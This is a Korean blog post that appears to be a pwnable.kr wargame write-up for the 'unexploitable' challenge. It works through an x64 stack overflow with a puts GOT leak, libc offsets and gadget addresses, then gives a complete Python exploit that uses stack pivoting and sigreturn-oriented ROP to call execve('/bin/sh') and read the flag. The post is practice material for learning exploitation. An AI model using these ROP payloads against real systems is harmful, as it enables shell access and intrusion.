공유라이브러리의 ASLR을 해제하기 위해서 setarch `uname -m` -R $SHELL 명령어 실행 후 ldd를 확인보면 아래와 같이 고정되어있다.
그런데 실제로 실행해보면 ASLR이 계속 적용되어있음 ...
공격 방법
1. puts로 실제 함수 주소를 얻어온다. (stage1)
2. 다시 main으로 돌아가서 read 함수를 다시 이용한다. (stage2)
3. '1'에서 얻어온 주소로 offset을 계산해서 execl을 호출시킨다.
* x64에서 edi가 첫 번째 인자이므로 아래 가젯을 사용해서 puts의 인자를 조작한다.
- 0x400610L: mov edi [esp+0x30] ; dec eax ; add esp 0x38 ;;
- 0x601000 : puts@got
- 0x400430 : puts@plt
(perl -e 'print "a"x24, "\x10\x06@\x00\x00\x00\x00\x00", "a"x48, "\x00\x10`\x00\x00\x00\x00\x00", "0\x04@\x00\x00\x00\x00\x00", "D\x05@\x00\x00\x00\x00\x00", "\n"';cat)|strace -i ./unexploitable
[ libc offset ]
puts : 0x70ce0
execl : 0xc0730
"/bin/sh" : 0x17a111
-> 얻어온 주소에 오프셋을 계산해서 execl과 "/bin/sh" 주소 활용
puts + 0x4fa50 => execl
puts + 0x109431 => "/bin/sh"
----------- popen해서 read, write가 잘 안됀다 ㅡㅡㅡ;;;;;
code
위의 방법은 접어두고 ... execl의 호출을 syscall을 이용해서 exploit을 시도
아래는 ROPgadget으로 뽑은 가젯들
http://inaz2.hatenablog.com/entry/2014/07/30/021123
위의 블로그에서 x64bit 환경에서 sigreturn ROP를 잘 설명해준다.
sigreturn으로 execve의 인자 구성 후 다시 syscall로 호출한다.
sys_execve
rax : 59
rdi : const char *filename
rsi : const char *const argv[]
rdx : const char *const envp[]
.text:0000000000400544 buf = byte ptr -10h
.text:000000000040056A lea rax, [rbp+buf]
.text:000000000040056E mov edx, 50Fh ; nbytes
.text:0000000000400573 mov rsi, rax ; buf
.text:0000000000400576 mov edi, 0 ; fd
.text:000000000040057B mov eax, 0
.text:0000000000400580 call _read
.text:0000000000400585 leave
.text:0000000000400586 retn
(gdb) !cat /proc/`pidof unexploitable`/maps
00400000-00401000 r-xp 00000000 08:01 2359337 /home/unexploitable/unexploitable
00600000-00601000 r--p 00000000 08:01 2359337 /home/unexploitable/unexploitable
00601000-00602000 rw-p 00001000 08:01 2359337 /home/unexploitable/unexploitable
7fa2591ac000-7fa259361000 r-xp 00000000 08:01 1835025 /lib/x86_64-linux-gnu/libc-2.15.so
7fa259361000-7fa259561000 ---p 001b5000 08:01 1835025 /lib/x86_64-linux-gnu/libc-2.15.so
7fa259561000-7fa259565000 r--p 001b5000 08:01 1835025 /lib/x86_64-linux-gnu/libc-2.15.so
7fa259565000-7fa259567000 rw-p 001b9000 08:01 1835025 /lib/x86_64-linux-gnu/libc-2.15.so
7fa259567000-7fa25956c000 rw-p 00000000 00:00 0
7fa25956c000-7fa25958e000 r-xp 00000000 08:01 1835041 /lib/x86_64-linux-gnu/ld-2.15.so
7fa259780000-7fa259783000 rw-p 00000000 00:00 0
7fa25978c000-7fa25978e000 rw-p 00000000 00:00 0
7fa25978e000-7fa25978f000 r--p 00022000 08:01 1835041 /lib/x86_64-linux-gnu/ld-2.15.so
7fa25978f000-7fa259791000 rw-p 00023000 08:01 1835041 /lib/x86_64-linux-gnu/ld-2.15.so
7fff22817000-7fff22838000 rw-p 00000000 00:00 0 [stack]
7fff229a8000-7fff229aa000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
0x00601000 - 0x00602000의 영역을 custom stack으로 사용할 것이다.
[ exploit code ]
import struct, time
from subprocess import Popen, PIPE
p = lambda x: struct.pack('<Q', x)
#00601000-00602000 rw-p 00001000 08:01 2359337 /home/unexploitable/unexploitable
custom_stack1 = 0x00601100
custom_stack2 = 0x00601400
addr_read = 0x40056A #call read (1295byte, [rbp-0x10])
addr_syscall = 0x40056f#0xffffffffff600007 #syscall ; ret ;
#original stack
payload1 = 'A'*16
payload1 += p(custom_stack1 + 0x10) #sfp(rbp)
payload1 += p(addr_read) #ret - call read
#saved at custom_stack1 (0x00601000)
paddr_sh = custom_stack1 + 16 + 8 + 8
addr_null = paddr_sh + 8
addr_sh = addr_null + 8
payload2 = 'B'*16
payload2 += p(custom_stack2 + 0x10) #sfp(rbp)
payload2 += p(addr_read) #ret (call read)
payload2 += p(addr_sh) #ptr -> "/bin/sh"
payload2 += p(0x0) #NULL
payload2 += "/bin/sh\x00" #"/bin/sh"
payload2 += 'X'*16
payload2 += 'X'*8 #sfp(rbp)
payload2 += p(addr_syscall) #ret (syscall)
payload2 += 'AAAAAAAA' * 5
payload2 += struct.pack('<Q', 0) * 8 # r8-r15
payload2 += struct.pack('<Q', addr_sh) # rdi <- const char *filename
payload2 += struct.pack('<Q', paddr_sh) # rsi <- const char *const argv[]
payload2 += struct.pack('<Q', custom_stack1) # rbp
payload2 += struct.pack('<Q', 0) # rbx
payload2 += struct.pack('<Q', addr_null) # rdx <- const char *const envp[]
payload2 += struct.pack('<Q', 59) # rax <- execve systemcall
payload2 += struct.pack('<Q', 0) # rcx
payload2 += struct.pack('<Q', custom_stack1) # rsp
payload2 += struct.pack('<Q', addr_syscall) # rip
payload2 += struct.pack('<Q', 0) # eflags
payload2 += struct.pack('<Q', 0x33) # csgsfs
payload2 += 'AAAAAAAA' * 4
payload2 += struct.pack('<Q', 0) # &fpstate
#saved at custom_stack2 (0x00601200)
payload3 = 'C'*16
payload3 += p(custom_stack1 + 0x10 + 56) #sfp(rbp)
payload3 += p(addr_read) #ret
#saved at custom_stack1 + 56 (0x00601000 + 0x38)
payload4 = '\x00'*15
###############################################################
p = Popen(['/home/unexploitable/unexploitable'], stdin=PIPE)
print '[+] send payload1 ...'
p.stdin.write(payload1)
time.sleep(0.5)
print '[+] send payload2 ...'
p.stdin.write(payload2)
time.sleep(0.5)
print '[+] send payload3 ...'
p.stdin.write(payload3)
time.sleep(0.5)
print '[+] send payload4 ...'
p.stdin.write(payload4)
time.sleep(1)
print '[*] got shell !!!'
p.stdin.write('cat /home/unexploitable/flag\n');
'Wargame > pwnable.kr' 카테고리의 다른 글
[Grotesque] wtf (0) | 2015.02.25 |
---|---|
[Rookiss] tiny_easy (0) | 2014.07.28 |
[Rookiss] simple login (0) | 2014.07.27 |
[Rookiss] brain fuck (0) | 2014.07.26 |
[Rookiss] ascii_easy (0) | 2014.07.21 |